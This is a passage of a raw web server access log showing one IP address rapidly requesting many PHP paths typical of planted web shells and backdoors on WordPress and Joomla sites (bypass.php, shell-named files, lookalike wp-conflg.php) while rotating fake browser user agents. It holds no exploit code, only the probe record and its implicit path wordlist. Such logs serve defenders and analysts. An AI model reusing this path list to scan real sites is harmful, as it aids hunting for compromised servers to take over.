"GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:55 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:56 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:57 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:58 +0300] "GET /wp-trackback.php 